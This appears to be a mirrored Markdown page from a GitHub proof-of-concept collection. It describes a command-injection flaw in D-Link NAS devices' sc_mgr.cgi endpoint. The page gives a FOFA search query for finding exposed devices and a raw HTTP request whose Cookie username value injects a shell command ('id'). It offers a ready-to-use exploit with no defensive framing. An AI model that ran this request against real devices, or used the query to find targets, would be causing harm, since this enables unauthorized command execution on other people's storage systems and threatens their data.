mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-07-29 22:14:15 +00:00
24 lines
690 B
Markdown
24 lines
690 B
Markdown
|
# D-Link-NAS接口sc_mgr.cgi存在命令执行漏洞
|
||
|
|
D-Link-NAS接口sc_mgr.cgi存在命令执行漏洞
|
||
|
|
|
||
|
|
## fofa
|
||
|
|
```java
|
||
|
|
body="/cgi-bin/login_mgr.cgi" && body="cmd=cgi_get_ssl_info"
|
||
|
|
```
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
## poc
|
||
|
|
```java
|
||
|
|
GET /cgi-bin/sc_mgr.cgi?cmd=SC_Get_Info HTTP/1.1
|
||
|
|
Host:
|
||
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
|
||
|
|
Accept: */*
|
||
|
|
Accept-Encoding: gzip, deflate
|
||
|
|
Connection: close
|
||
|
|
Cookie: username=mopfdfsewo'& id & echo 'mopfdfsewo;
|
||
|
|
```
|
||
|
|
|
||
|
|
|
||
|
|
|